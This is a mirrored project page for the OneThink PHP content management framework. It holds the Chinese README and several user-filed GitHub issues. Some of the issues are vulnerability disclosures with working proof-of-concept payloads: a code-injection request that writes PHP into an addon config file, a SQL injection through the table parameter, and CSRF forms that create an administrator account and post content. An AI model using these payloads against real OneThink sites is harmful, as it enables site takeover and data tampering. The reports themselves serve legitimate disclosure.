Giter Site home page Giter Site logo

onethink's Introduction

OneThink是一个开源的内容管理框架,基于最新的ThinkPHP3.2版本开发,提供更方便、更安全的WEB应用开发体验,采用了全新的架构设计和命名空间机制,融合了模块化、驱动化和插件化的设计理念于一体,开启了国内WEB应用傻瓜式开发的新潮流。

[ 写在前面 ]

感谢大家使用OneThink!OneThink对我来说是一个比ThinkPHP更有意义的产品,因为她能让开发者和最终用户都能受益。作为一个开源产品,希望大家都能参与进来为OneThink添砖加瓦,OneThink团队一直都在致力于让OneThink更加优秀。现在,感谢您也参与其中。

— ThinkPHP创始人 刘晨

主要特性:

  1. 基于ThinkPHP最新3.2.3版本。
  2. 模块化:全新的架构和模块化的开发机制,便于灵活扩展和二次开发。
  3. 文档模型/分类体系:通过和文档模型绑定,以及不同的文档类型,不同分类可以实现差异化的功能,轻松实现诸如资讯、下载、讨论和图片等功能。
  4. 开源免费:OneThink遵循Apache2开源协议,免费提供使用。
  5. 用户行为:支持自定义用户行为,可以对单个用户或者群体用户的行为进行记录及分享,为您的运营决策提供有效参考数据。
  6. 云端部署:通过驱动的方式可以轻松支持平台的部署,让您的网站无缝迁移,内置已经支持SAE和BAE3.0。
  7. 云服务支持:即将启动支持云存储、云安全、云过滤和云统计等服务,更多贴心的服务让您的网站更安心。
  8. 安全稳健:提供稳健的安全策略,包括备份恢复、容错、防止恶意攻击登录,网页防篡改等多项安全管理功能,保证系统安全,可靠、稳定的运行。
  9. 应用仓库:官方应用仓库拥有大量来自第三方插件和应用模块、模板主题,有众多来自开源社区的贡献,让您的网站“One”美无缺。

OneThink只是一个内容管理框架,并不是一个真正意义的CMS,所以你不会看到很多的功能,也不要因此而抱怨,因为一切功能都来自于您的创造或者大家的分享。这才是OneThink的理念和定位。OneThink集成了一个完善的后台管理体系和前台模板标签系统,让你轻松管理数据和进行前台网站的标签式开发。

后台主要功能:

  1. 用户Passport系统
  2. 配置管理系统
  3. 权限控制系统
  4. 后台建模系统
  5. 多级分类系统
  6. 用户行为系统
  7. 钩子和插件系统
  8. 系统日志系统
  9. 数据备份和还原

利用OneThink现有的后台功能和标签库机制,你可以轻松的定制或者开发基于OneThink的网站和应用。

[ 最低系统需求 ]

  • PHP 5.3.0 或更高版本。
  • MySQL 5.0 或更高版本。

[ 安装 ]

  1. 将OneThink压缩包解压至一个空文件夹,并上传它。
  2. 首次在浏览器中访问index.php,将会进入安装向导。
  3. 按照安装向导完成安装。若在安装过程中出现问题,请访问官网讨论区寻求帮助。

OneThink支持直接在SAE以及BAE3.0平台上直接安装。

[ 分享精神 ]

非常感谢您的支持!如果您喜欢OneThink,请将它介绍给自己的朋友,或者帮助他人安装一个OneThink,又或者写一篇赞扬我们的文章。OneThink是对刘晨创建的ThinkPHP的传承和新的传奇。由OneThink 开发团队完成开发。如果您愿意支持我们的工作,欢迎您对OneThink进行捐赠。

如果您对OneThink有任何建议、想法、评论或发现了bug,请到官网讨论区。 官网的应用仓库包含了官方和第三方的各类插件,您可以提交你的插件或者应用。

[ 许可证 ]

OneThink基于Apache第二版开源协议发布。详见license.txt。

[ 开发手册 ]


OneThink开发团队 2013-2016

onethink's People

Contributors

banhuajie avatar crstudio avatar hottredpen avatar liu21st avatar yangweijie avatar yunwuxin avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

onethink's Issues

能否在检测环境那些修改一下

fsockopen() 有些空间不开放这个的
由于fsockopen可能采用一种洪水攻击模式的攻击利用,从而造成大量由机房向外发包攻击的可能,我们按照机房的要求禁用该函数,并使用pfsockopen进行功能的完整替代,建议这里检测能够灵活一些。不然这一步过不去,虽然自己可以修改并能解决

Logic和Model是基于什么分层的?

请问onethink是基于什么做的Loigc和Model分层?
就后台ArticleLogic来说,同样有表单的自动验证和数据库的更新操作,为什么会写在Loigc层而不是Model层?

Code injection vulnerability

Hi, there is a code injection vulnerability.

In

, $data is controlled by users.

In

file_put_contents("{$addon_dir}config.php", $data['config']);
, $data['config'] is written into a php file directly.

POC:

POST /admin.php?s=/Addons/build.html HTTP/1.1
Host: www.myonethink.com
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 1747
Origin: http://www.myonethink.com
DNT: 1
Sec-GPC: 1
Connection: close
Referer: http://www.myonethink.com/admin.php?s=/Addons/create.html
Cookie: PHPSESSID=l7mt7mtb5sr16frdpv6fqibith; onethink_admin___forward__=%2Fadmin.php%3Fs%3D%2FAddons%2Findex.html

info%5Bname%5D=Examplepoi&info%5Btitle%5D=%E7%A4%BA%E5%88%97&info%5Bversion%5D=0.1&info%5Bauthor%5D=%E6%97%A0%E5%90%8D&info%5Bdescription%5D=%E8%BF%99%E6%98%AF%E4%B8%80%E4%B8%AA%E4%B8%B4%E6%97%B6%E6%8F%8F%E8%BF%B011&info%5Bstatus%5D=1&config=%3C%3Fphp%20phpinfo%28%29%3B%3F%3E&custom_config=&admin_list='model'%3D%3E'Example'%2C%09%09%2F%2F%E8%A6%81%E6%9F%A5%E7%9A%84%E8%A1%A8%0D%0A%09%09%09'fields'%3D%3E'*'%2C%09%09%09%2F%2F%E8%A6%81%E6%9F%A5%E7%9A%84%E5%AD%97%E6%AE%B5%0D%0A%09%09%09'map'%3D%3E''%2C%09%09%09%09%2F%2F%E6%9F%A5%E8%AF%A2%E6%9D%A1%E4%BB%B6%2C+%E5%A6%82%E6%9E%9C%E9%9C%80%E8%A6%81%E5%8F%AF%E4%BB%A5%E5%86%8D%E6%8F%92%E4%BB%B6%E7%B1%BB%E7%9A%84%E6%9E%84%E9%80%A0%E6%96%B9%E6%B3%95%E9%87%8C%E5%8A%A8%E6%80%81%E9%87%8D%E7%BD%AE%E8%BF%99%E4%B8%AA%E5%B1%9E%E6%80%A7%0D%0A%09%09%09'order'%3D%3E'id+desc'%2C%09%09%2F%2F%E6%8E%92%E5%BA%8F%2C%0D%0A%09%09%09'list_grid'%3D%3Earray(+%09%09%2F%2F%E8%BF%99%E9%87%8C%E5%AE%9A%E4%B9%89%E7%9A%84%E6%98%AF%E9%99%A4%E4%BA%86id%E5%BA%8F%E5%8F%B7%E5%A4%96%E7%9A%84%E8%A1%A8%E6%A0%BC%E9%87%8C%E5%AD%97%E6%AE%B5%E6%98%BE%E7%A4%BA%E7%9A%84%E8%A1%A8%E5%A4%B4%E5%90%8D%E5%92%8C%E6%A8%A1%E5%9E%8B%E4%B8%80%E6%A0%B7%E6%94%AF%E6%8C%81%E5%87%BD%E6%95%B0%E5%92%8C%E9%93%BE%E6%8E%A5%0D%0A++++++++++++++++'cover_id%7Cpreview_pic%3A%E5%B0%81%E9%9D%A2'%2C%0D%0A++++++++++++++++'title%3A%E4%B9%A6%E5%90%8D'%2C%0D%0A++++++++++++++++'description%3A%E6%8F%8F%E8%BF%B0'%2C%0D%0A++++++++++++++++'link_id%7Cget_link%3A%E5%A4%96%E9%93%BE'%2C%0D%0A++++++++++++++++'update_time%7Ctime_format%3A%E6%9B%B4%E6%96%B0%E6%97%B6%E9%97%B4'%2C%0D%0A++++++++++++++++'id%3A%E6%93%8D%E4%BD%9C%3A%5BEDIT%5D%7C%E7%BC%96%E8%BE%91%2C%5BDELETE%5D%7C%E5%88%A0%E9%99%A4'%0D%0A++++++++++++)%2C%0D%0A%09%09%09%09%09&custom_adminlist=&has_config=1

570b10e8-56a0-48f5-897b-e51811e587d9

模型层没有提供复写某个字段的功能

比如,数据库有一个字段叫:image(因为它只是保存了文件路径),现在如果能够通过ORM层实现复写image(比如在前面加上服务器URL,可以直接可以访问该图片了)。ThinkPHP是否提供了该功能呢?求解答?

关于文件缓存驱动的问题,似乎是一个隐患

文件
\ThinkPHP\Library\Think\Cache\Driver\File.class.php
代码段

//开启数据校验  
    $check = md5($data);   
} else {  
    $check = '';  
}  
$data   = "<?php\n//" . sprintf('%012d', $expire) . $check . $data . "\n?>";  // <-148行这一段
$result = file_put_contents($filename, $data);  
    if ($result) {  
        if ($this->options['length'] > 0) {  
                // 记录缓存队列  
                $this->queue($name);

为什么要这样保存,我看获得缓存数据的方法就是用substr来清楚掉php文件标识来获得数据,如果不把runtime文件夹部署到可访问文件夹外,是不是会导致shell。

获得缓存的代码段

            if (C('DATA_CACHE_CHECK')) {
//开启数据校验
                $check   = substr($content, 20, 32);
                $content = substr($content, 52, -3);
                if (md5($content) != $check) {
//校验错误
                    return false;
                }
            } else {
                $content = substr($content, 20, -3); //<-- 未开缓存验证时,前20个字符包括<?php头和过期时间戳
            }

缓存字段例子片段

<?php
//000000000000a:12:{s:2:"id";s:2:"15";s:17:"member_company_id";s:1:"0";s:4:"name";s........
?>

而且感觉这样做也没有意义啊。求教。

SQLi vulnerability

Hi, there is a SQL injection vulnerability in Onethink 1.1

In

, $table is controlled by users.

In

$fields = M()->query('SHOW FULL COLUMNS FROM '.$table);
, $table is inserted into SQL directly.

POC:

POST /admin.php?s=/Model/generate.html HTTP/1.1
Host: www.myonethink.com
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 67
Origin: http://www.myonethink.com
DNT: 1
Sec-GPC: 1
Connection: close
Referer: http://www.myonethink.com/admin.php?s=/Model/generate.html
Cookie: PHPSESSID=l7mt7mtb5sr16frdpv6fqibith; onethink_admin___forward__=%2Fadmin.php%3Fs%3D%2FModel%2Findex.html

table=onethink_action;select%20sleep(60)&name=test2&title=test2&id=

图片

There are two CSRF vulnerabilities that can add the administrator account

After the Administrator logged in,open the following two page
poc:
one.html---add a user

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://192.168.98.88/onethink-master/wwwroot/admin.php?s=/User/add.html" method="POST">
      <input type="hidden" name="username" value="r1" />
      <input type="hidden" name="password" value="123456" />
      <input type="hidden" name="repassword" value="123456" />
      <input type="hidden" name="email" value="64345647&#64;qq&#46;com" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

two.html---Endowing user administrator privileges

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://192.168.98.88/onethink-master/wwwroot/admin.php?s=/AuthManager/addToGroup.html" method="POST">
      <input type="hidden" name="group&#95;id&#91;&#93;" value="1" />
      <input type="hidden" name="uid" value="2" />
      <input type="hidden" name="batch" value="true" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

There are three CSRF vulnerabilities that can add pages to the website home page

After the Administrator logged in,open the following two pages.
poc:
fist.html
add a page to the website home page and can jump to designated website.

<html>
  <!--add a page to the website home page and can jump to designated website-->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost/test/onethink-master/wwwroot/admin.php?s=/Channel/add.html" method="POST">
      <input type="hidden" name="pid" value="0" />
      <input type="hidden" name="title" value="apple" />
      <input type="hidden" name="url" value="http&#58;&#47;&#47;www&#46;baidu&#46;com" />
      <input type="hidden" name="target" value="0" />
      <input type="hidden" name="sort" value="0" />
      <input type="hidden" name="id" value="" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

second.html
add a blog and through the audit.

<html>
  <!-- add a blog -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost/test/onethink-master/wwwroot/admin.php?s=/Article/update.html" method="POST">
      <input type="hidden" name="title" value="apple234" />
      <input type="hidden" name="content" value="fsdafdsaf" />
      <input type="hidden" name="parse" value="0" />
      <input type="hidden" name="name" value="dsfweweas" />
      <input type="hidden" name="description" value="appleqw" />
      <input type="hidden" name="type" value="2" />
      <input type="hidden" name="display" value="1" />
      <input type="hidden" name="level" value="0" />
      <input type="hidden" name="cover&#95;id" value="" />
      <input type="hidden" name="view" value="0" />
      <input type="hidden" name="comment" value="0" />
      <input type="hidden" name="bookmark" value="0" />
      <input type="hidden" name="create&#95;time" value="" />
      <input type="hidden" name="deadline" value="" />
      <input type="hidden" name="link&#95;id" value="0" />
      <input type="hidden" name="template" value="" />
      <input type="hidden" name="id" value="" />
      <input type="hidden" name="pid" value="0" />
      <input type="hidden" name="model&#95;id" value="2" />
      <input type="hidden" name="group&#95;id" value="" />
      <input type="hidden" name="category&#95;id" value="2" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

<!--through the audit-->
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://localhost/test/onethink-master/wwwroot/admin.php?s=/Article/setStatus/status/1.html" method="POST">
      <input type="hidden" name="ids&#91;&#93;" value="7" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

image
image
image
image

getStatus方法尚未完全实现

在Application/Admin/Model/DocumentModel.class.php中的getStatus尚未完全实现。理由:分类模块中给出了一个是否需要审核的参数,那么此处应该应从分类模型中获取此参数。以生效该分类配置。

独立数据库扩展配置设置无效,原因 InitHookBehavior 执行过早。

数据库配置 独立出来作为 扩展配置 时是发现一个问题
\Think\App::run() 里绑定一个是个行为 app_init 对应的逻辑 InitHookBehavior 里面有关于数据库的操作,导致扩展配置还没有添加进系统,所以出现报错。
暂时的解决办法,提前调度(Dispatcher::dispatch()),将行为app_init放在调度之后,并在此之前执行载入扩展配置load_ext_file(MODULE_PATH)

问题:
对性能影响未知。
希望官方能修复这个BUG。

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.